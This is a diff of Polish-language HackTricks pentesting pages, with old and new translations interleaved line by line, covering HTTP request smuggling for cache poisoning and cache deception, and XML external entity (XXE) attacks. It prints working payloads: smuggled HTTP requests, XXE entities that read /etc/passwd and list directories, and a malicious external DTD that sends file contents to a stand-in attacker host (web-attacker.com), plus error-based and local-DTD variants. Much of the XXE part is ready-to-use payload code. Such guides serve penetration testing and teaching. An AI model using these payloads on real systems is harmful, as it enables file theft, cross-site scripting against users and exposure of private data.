Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracać błąd 404 (patrz [Podstawowe przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył zawartość `/index.html` w odpowiedzi na żądanie pliku `/static/include.js`. W rezultacie zawartość `/static/include.js` zostaje zastąpiona w pamięci podręcznej zawartością `/index.html`, co sprawia, że `/static/include.js` staje się niedostępny dla użytkowników, potencjalnie prowadząc do ataku typu Denial of Service (DoS).
Zatrucie pamięci podręcznej witryny można przeprowadzić, jeśli dowolny komponent **infrastruktury front-endowej buforuje zawartość**, zwykle w celu poprawy wydajności. Poprzez manipulację odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**.
Ta technika staje się szczególnie skuteczna, jeśli odkryto **podatność na przekierowanie otwarte** lub jeśli istnieje **przekierowanie na stronie do przekierowania otwartego**. Takie podatności mogą być wykorzystane do zastąpienia zawartości w pamięci podręcznej `/static/include.js` skryptem kontrolowanym przez atakującego, umożliwiając szeroko zakrojony atak typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
Wcześniej obserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracać błąd 404 (patrz [Podstawowe przykłady](./#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczał zawartość `/index.html` w odpowiedzi na żądanie `/static/include.js`. W rezultacie zawartość `/static/include.js` zostaje zastąpiona w pamięci podręcznej zawartością `/index.html`, co uniemożliwia dostęp do `/static/include.js` dla użytkowników, co potencjalnie prowadzi do ataku typu Denial of Service (DoS).
Ta technika staje się szczególnie skuteczna, jeśli zostanie odkryta **podatność na przekierowanie** lub jeśli występuje **przekierowanie na przekierowanie** na stronie. Takie podatności mogą być wykorzystane do zastąpienia zawartości w pamięci podręcznej `/static/include.js` skryptem kontrolowanym przez atakującego, co umożliwia przeprowadzenie rozległego ataku typu Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego `/static/include.js`.
Poniżej przedstawiono ilustrację wykorzystania **zatrucia pamięci podręcznej w połączeniu z przekierowaniem na przekierowanie**. Celem jest zmiana zawartości pamięci podręcznej `/static/include.js`, aby serwować kod JavaScript kontrolowany przez atakującego:
Poniżej znajduje się ilustracja wykorzystania **zatrucia pamięci podręcznej w połączeniu z przekierowaniem na stronie do przekierowania otwartego**. Celem jest zmiana zawartości pamięci podręcznej `/static/include.js`, aby dostarczyć kod JavaScript kontrolowany przez atakującego:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -567,21 +458,20 @@ Content-Length: 10
x=1
```
Zauważ wbudowane żądanie skierowane na `/post/next?postId=3`. To żądanie zostanie przekierowane na `/post?postId=4`, wykorzystując wartość nagłówka **Host** do określenia domeny. Poprzez zmianę nagłówka **Host**, atakujący może przekierować żądanie na swoją domenę (**przekierowanie wewnętrzne na przekierowanie zewnętrzne**).
Zauważ osadzone żądanie kierujące do `/post/next?postId=3`. To żądanie zostanie przekierowane do `/post?postId=4`, wykorzystując **wartość nagłówka Host** do określenia domeny. Poprzez zmianę **nagłówka Host**, atakujący może przekierować żądanie do swojej domeny (**przekierowanie na stronę atakującego do otwartego przekierowania**).
Po udanym **zatruciu gniazda**, powinno zostać zainicjowane żądanie **GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **przekierowania wewnętrznego na przekierowanie zewnętrzne** i pobierze zawartość skryptu kontrolowanego przez atakującego.
Po udanym **zatruciu gniazda**, należy zainicjować **żądanie GET** dla `/static/include.js`. To żądanie zostanie zanieczyszczone przez wcześniejsze żądanie **przekierowania na stronę atakującego do otwartego przekierowania** i pobierze zawartość skryptu kontrolowanego przez atakującego.
Następnie, każde żądanie dla `/static/include.js` będzie serwować zawartość zbuforowanego skryptu atakującego, co efektywnie uruchomi szeroki atak XSS.
Następnie, każde żądanie dla `/static/include.js` będzie serwować zbuforowaną zawartość skryptu atakującego, efektywnie uruchamiając szeroki atak XSS.
### Użycie przemytu żądań HTTP do przeprowadzenia oszustwa związane z pamięcią podręczną sieciową <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Używanie przemytu żądań HTTP do przeprowadzenia oszustwa pamięci podręcznej sieci web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Jaka jest różnica między zatruciem pamięci podręcznej sieci web a oszustwem pamięci podręcznej sieci web?**
> **Jaka jest różnica między zatruciem pamięci podręcznej sieciowej a oszustwem związanym z pamięcią podręczną sieciową?**
>
> * W **zatruciu pamięci podręcznej sieci web**, atakujący powoduje, że aplikacja przechowuje pewną złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
> * W **oszustwie pamięci podręcznej sieci web**, atakujący powoduje, że aplikacja przechowuje pewną wrażliwą zawartość należącą do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
> * W **zatruciu pamięci podręcznej sieciowej**, atakujący powoduje, że aplikacja przechowuje pewną złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
> * W **oszustwie związanym z pamięcią podręczną sieciową**, atakujący powoduje, że aplikacja przechowuje pewną wrażliwą zawartość należącą do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.
Atakujący tworzy przemycony żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Przyjrzyj się poniższemu przykładowi:
Atakujący tworzy przemycone żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ poniższy przykład:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -592,9 +482,9 @@ Atakujący tworzy przemycony żądanie, które pobiera wrażliwą zawartość sp
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznych (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą być przechowywane w pamięci podręcznej pod wpisem dla treści statycznych. W rezultacie, atakujący może potencjalnie odzyskać te przechowywane wrażliwe dane.
Jeśli ten przemycony żądanie zatruje wpis w pamięci podręcznej przeznaczony dla treści statycznych (np. `/someimage.png`), wrażliwe dane ofiary z `/private/messages` mogą zostać zapisane w pamięci podręcznej pod wpisem dla treści statycznej. W rezultacie atakujący mógłby potencjalnie odzyskać te zapisane wrażliwe dane.
### Uzbrojenie HTTP Request Smuggling z HTTP Response Desynchronisation
### Uzbrojenie HTTP Request Smuggling z Desynchronizacją Odpowiedzi HTTP
Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Spróbuj tej innej metody eksploatacji:
@ -695,9 +585,10 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie jest gramatycznym HTTP Fuzzerem przydatnym do znajdowania dziwnych niezgodności w żądaniach smugglingowych.
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie jest gramatycznie opartym Fuzzerem HTTP przydatnym do znajdowania dziwnych rozbieżności w żądaniach przemytu.
## Odwołania
## Odnośniki
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -713,10 +604,10 @@ table.add(req)
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

370
pentesting-web/xxe-xee-xml-external-entity.md
View file

@ -2,43 +2,37 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>
## Podstawy XML
XML to język znaczników przeznaczony do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która umożliwia użycie opisowo nazwanych znaczników. Różni się od HTML, nie będąc ograniczonym do zestawu predefiniowanych znaczników. Znaczenie XML-u zmalało wraz z wzrostem popularności JSON-a, pomimo początkowej roli w technologii AJAX.
- **Reprezentacja danych za pomocą encji**: Encje w XML umożliwiają reprezentację danych, w tym specjalnych znaków takich jak `&lt;` i `&gt;`, które odpowiadają `<` i `>` w celu uniknięcia konfliktu z systemem znaczników XML.
- **Definiowanie elementów XML**: XML umożliwia definiowanie typów elementów, określając, jak powinny być zbudowane i jaką zawartość mogą zawierać, od dowolnego rodzaju zawartości do określonych elementów podrzędnych.
- **Definicja typu dokumentu (DTD)**: DTD jest kluczowy w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, określając, jak formatowane i walidowane są dokumenty.
- **Niestandardowe i zewnętrzne encje**: XML obsługuje tworzenie niestandardowych encji w ramach DTD w celu elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków z wykorzystaniem zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Wykrywanie XXE za pomocą encji parametrowych**: W celu wykrywania podatności XXE, zwłaszcza gdy konwencjonalne metody zawodzą ze względu na środki bezpieczeństwa parsera, można wykorzystać encje parametrowe XML. Te encje umożliwiają wykorzystanie technik wykrywania poza pasmem, takich jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
XML to język znaczników zaprojektowany do przechowywania i transportu danych, cechujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych tagów. Różni się od HTML-a tym, że nie jest ograniczony do zestawu predefiniowanych tagów. Znaczenie XML-a zmalało wraz z rozwojem JSON-a, pomimo początkowej roli w technologii AJAX.
* **Reprezentacja danych za pomocą Encji**: Encje w XML umożliwiają reprezentację danych, w tym znaków specjalnych takich jak `&lt;` i `&gt;`, które odpowiadają `<` i `>`, aby uniknąć konfliktu z systemem tagów XML-a.
* **Definiowanie Elementów XML**: XML pozwala na określenie typów elementów, określając, jak powinny być zbudowane elementy i jaką zawartość mogą zawierać, począwszy od dowolnego rodzaju zawartości do określonych elementów podrzędnych.
* **Definicja Typu Dokumentu (DTD)**: DTD są kluczowe w XML do określania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, kierując formatowaniem i walidacją dokumentów.
* **Encje Niestandardowe i Zewnętrzne**: XML obsługuje tworzenie niestandardowych encji w DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki analizatory XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Wykrywanie XXE za pomocą Encji Parametrowych**: Dla wykrywania podatności na XXE, zwłaszcza gdy metody konwencjonalne zawodzą ze względu na środki bezpieczeństwa analizatora, można wykorzystać encje parametrowe XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Główne ataki
**[Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE Portswiggers: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
[**Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE firmy Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Nowe testowe encje
### Nowe testowanie Encji
W tym ataku sprawdzę, czy prosta deklaracja nowej encji działa.
W tym ataku sprawdzę, czy prosta deklaracja nowej ENCJI działa.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -47,11 +41,9 @@ W tym ataku sprawdzę, czy prosta deklaracja nowej encji działa.
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (220).png>)
### Odczytaj plik
Spróbujmy odczytać `/etc/passwd` na różne sposoby. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
Spróbujmy odczytać `/etc/passwd` w różny sposób. Dla systemu Windows możesz spróbować odczytać: `C:\windows\system32\drivers\etc\hosts`
W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" również zadziała.
```xml
@ -59,9 +51,7 @@ W tym pierwszym przypadku zauważ, że SYSTEM "_\*\*file:///\*\*etc/passwd_" ró
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (221).png>)
Ten drugi przypadek może być przydatny do wydobycia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswiggers).
To drugi przypadek może być przydatny do wydobycia pliku, jeśli serwer internetowy używa PHP (Nie dotyczy to laboratoriów Portswiggers).
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -79,11 +69,9 @@ W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako AN
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (222) (1).png>)
### Lista katalogów
### Wyświetlanie listy katalogów
W aplikacjach opartych na **Java** istnieje możliwość **wyświetlenia zawartości katalogu** za pomocą XXE, używając takiego payloadu (prośba o wyświetlenie katalogu zamiast pliku):
W aplikacjach opartych na **Java** może być możliwe **wyświetlenie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (tylko pytanie o katalog zamiast pliku):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -101,20 +89,19 @@ XXE może być wykorzystane do nadużycia SSRF w chmurze
```
### Blind SSRF
Korzystając z **wcześniej omawianej techniki**, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że **nie są dozwolone jednostki XML**, w takim przypadku możesz spróbować użyć **jednostek parametru XML**:
Za pomocą **wcześniej skomentowanej techniki** możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać swoją podatność. Jeśli jednak to nie działa, być może **encje XML nie są dozwolone**, w takim przypadku można spróbować użyć **parametru encji XML**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Wyciek danych poza pasmem
### "Ślepy" SSRF - Wyprowadzanie danych poza pasmem
**W tym przypadku zamierzamy zmusić serwer do załadowania nowego DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (dla plików wielolinijkowych można spróbować wycieku za pomocą** _**ftp://**_**). Wyjaśnienie to oparte jest na** [**laboratorium Portswiggers tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (**dla plików wieloliniowych można spróbować wyprowadzić je za pomocą** _**ftp://**_ korzystając na przykład z tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Ta wyjaśnienie opiera się na** [**laboratorium Portswiggera tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
W podanym złośliwym DTD wykonuje się szereg kroków w celu wycieku danych:
W podanym złośliwym DTD przeprowadzane są kroki mające na celu wyprowadzenie danych:
### Przykład złośliwego DTD:
Struktura jest następująca:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
@ -123,35 +110,32 @@ Struktura jest następująca:
```
Kroki wykonane przez ten DTD obejmują:
1. **Definicja parametru encji:**
- Tworzona jest encja parametru XML o nazwie `%file`, która odczytuje zawartość pliku `/etc/hostname`.
- Kolejna encja parametru XML o nazwie `%eval` jest definiowana. Dynamicznie deklaruje nową encję parametru XML o nazwie `%exfiltrate`. Encja `%exfiltrate` jest ustawiona tak, aby wysłać żądanie HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
1. **Definicja Encji Parametru:**
* Tworzona jest encja parametru XML, `%file`, czytająca zawartość pliku `/etc/hostname`.
* Kolejna encja parametru XML, `%eval`, jest zdefiniowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona do wysłania żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
2. **Wykonanie Encji:**
* Wykorzystywana jest encja `%eval`, prowadząc do wykonania dynamicznej deklaracji encji `%exfiltrate`.
* Następnie używana jest encja `%exfiltrate`, wywołując żądanie HTTP do określonego URL z zawartością pliku.
2. **Wykonanie encji:**
- Wykorzystuje się encję `%eval`, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`.
- Następnie używa się encji `%exfiltrate`, co powoduje wysłanie żądania HTTP do określonego adresu URL z zawartością pliku.
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zwykle pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
**Ładunek XXE:**
Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Ten payload definiuje parametrową jednostkę XML `%xxe` i włącza ją w DTD. Po przetworzeniu przez parser XML, ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie parser interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD i prowadząc do wycieku pliku `/etc/hostname` na serwer atakującego.
To ładunek definiuje parametrową jednostkę XML `%xxe` i włącza ją w DTD. Po przetworzeniu przez analizator XML ten ładunek pobiera zewnętrzne DTD z serwera atakującego. Następnie analizator interpretuje DTD w linii, wykonując kroki określone w złośliwym DTD i prowadząc do wycieku pliku `/etc/hostname` do serwera atakującego.
### Błąd oparty na błędach (Zewnętrzne DTD)
### Oparte na błędach (zewnętrzne DTD)
**W tym przypadku sprawimy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku wewnątrz komunikatu o błędzie (to jest ważne tylko jeśli możesz zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
**W tym przypadku spowodujemy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku w komunikacie o błędzie (to jest możliwe tylko wtedy, gdy można zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
Komunikat o błędzie analizy XML, ujawniający zawartość pliku `/etc/passwd`, może zostać wywołany za pomocą złośliwej zewnętrznej definicji typu dokumentu (DTD). Osiąga się to poprzez następujące kroki:
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Dokumentu Definicji Typu (DTD). Osiąga się to za pomocą następujących kroków:
1. Zdefiniowana jest parametrowa jednostka XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`.
2. Zdefiniowana jest parametrowa jednostka XML o nazwie `eval`, która zawiera dynamiczną deklarację dla innej parametrowej jednostki XML o nazwie `error`. Ta jednostka `error`, po ewaluacji, próbuje załadować nieistniejący plik, włączając zawartość jednostki `file` jako jego nazwę.
3. Wywoływana jest jednostka `eval`, co prowadzi do dynamicznej deklaracji jednostki `error`.
1. Zdefiniowana jest jednostka parametrowa XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`.
2. Zdefiniowana jest jednostka parametrowa XML o nazwie `eval`, która zawiera dynamiczne zadeklarowanie innej jednostki parametrowej XML o nazwie `error`. Ta jednostka `error`, gdy jest oceniana, próbuje załadować nieistniejący plik, włączając zawartość jednostki `file` jako swoją nazwę.
3. Jednostka `eval` jest wywoływana, co prowadzi do dynamicznego zadeklarowania jednostki `error`.
4. Wywołanie jednostki `error` skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku `/etc/passwd` jako część nazwy pliku.
Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
@ -160,21 +144,19 @@ Złośliwe zewnętrzne DTD można wywołać za pomocą następującego XML:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Po wykonaniu, odpowiedź serwera WWW powinna zawierać komunikat błędu wyświetlający zawartość pliku `/etc/passwd`.
Po wykonaniu odpowiedź serwera WWW powinna zawierać komunikat o błędzie wyświetlający zawartość pliku `/etc/passwd`.
![](<../.gitbook/assets/image (223) (1).png>)
_**Należy zauważyć, że zewnętrzne DTD pozwala nam na umieszczenie jednej jednostki w drugiej (****`eval`****), ale jest to zabronione w przypadku wewnętrznego DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
_**Zauważ, że zewnętrzny DTD pozwala na umieszczenie jednej jednostki wewnątrz drugiej (****`eval`****), ale jest to zabronione wewnętrznym DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
### **Oparte na błędach (system DTD)**
### **Oparte na błędach (DTD systemowe)**
Co z podatnościami na ślepe XXE, gdy **blokowane są interakcje poza pasmem** (brak dostępnych połączeń zewnętrznych)?.
Co zatem z lukami w zabezpieczeniach XXE, gdy **blokowane są interakcje out-of-band** (zewnętrzne połączenia są niedostępne)?.
Luka w specyfikacji języka XML może **odsłonić poufne dane za pomocą komunikatów błędów, gdy w DTD dokumentu mieszają się deklaracje wewnętrzne i zewnętrzne**. Ten problem umożliwia wewnętrzne przedefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują przedefiniowanie parametru jednostki XML, pierwotnie zadeklarowanego w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mający na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
Luka w specyfikacji języka XML może **odsłonić poufne dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Ten problem pozwala na wewnętrzne zdefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują ponowne zdefiniowanie jednostki parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mając na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD o ścieżce `/usr/local/app/schema.dtd`, definiujący jednostkę o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML, ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowe DTD w następujący sposób:
Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w lokalizacji `/usr/local/app/schema.dtd`, definiujący jednostkę o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowe DTD w następujący sposób:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -187,14 +169,13 @@ Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD o ście
%local_dtd;
]>
```
Kroki przedstawione są w tym DTD:
Kroki zarysowane są w tym DTD:
- Definicja parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.
- Następuje ponowna definicja parametru XML `custom_entity`, pierwotnie zdefiniowanego w zewnętrznym DTD, w celu zawarcia [eksploitacji XXE opartej na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta ponowna definicja ma na celu wywołanie błędu parsowania, ujawniającego zawartość pliku `/etc/passwd`.
- Poprzez użycie parametru `local_dtd`, aktywowany zostaje zewnętrzny DTD, obejmujący nowo zdefiniowany `custom_entity`. Ta sekwencja działań prowadzi do wygenerowania komunikatu o błędzie, który jest celem eksploitacji.
* Definicja parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.
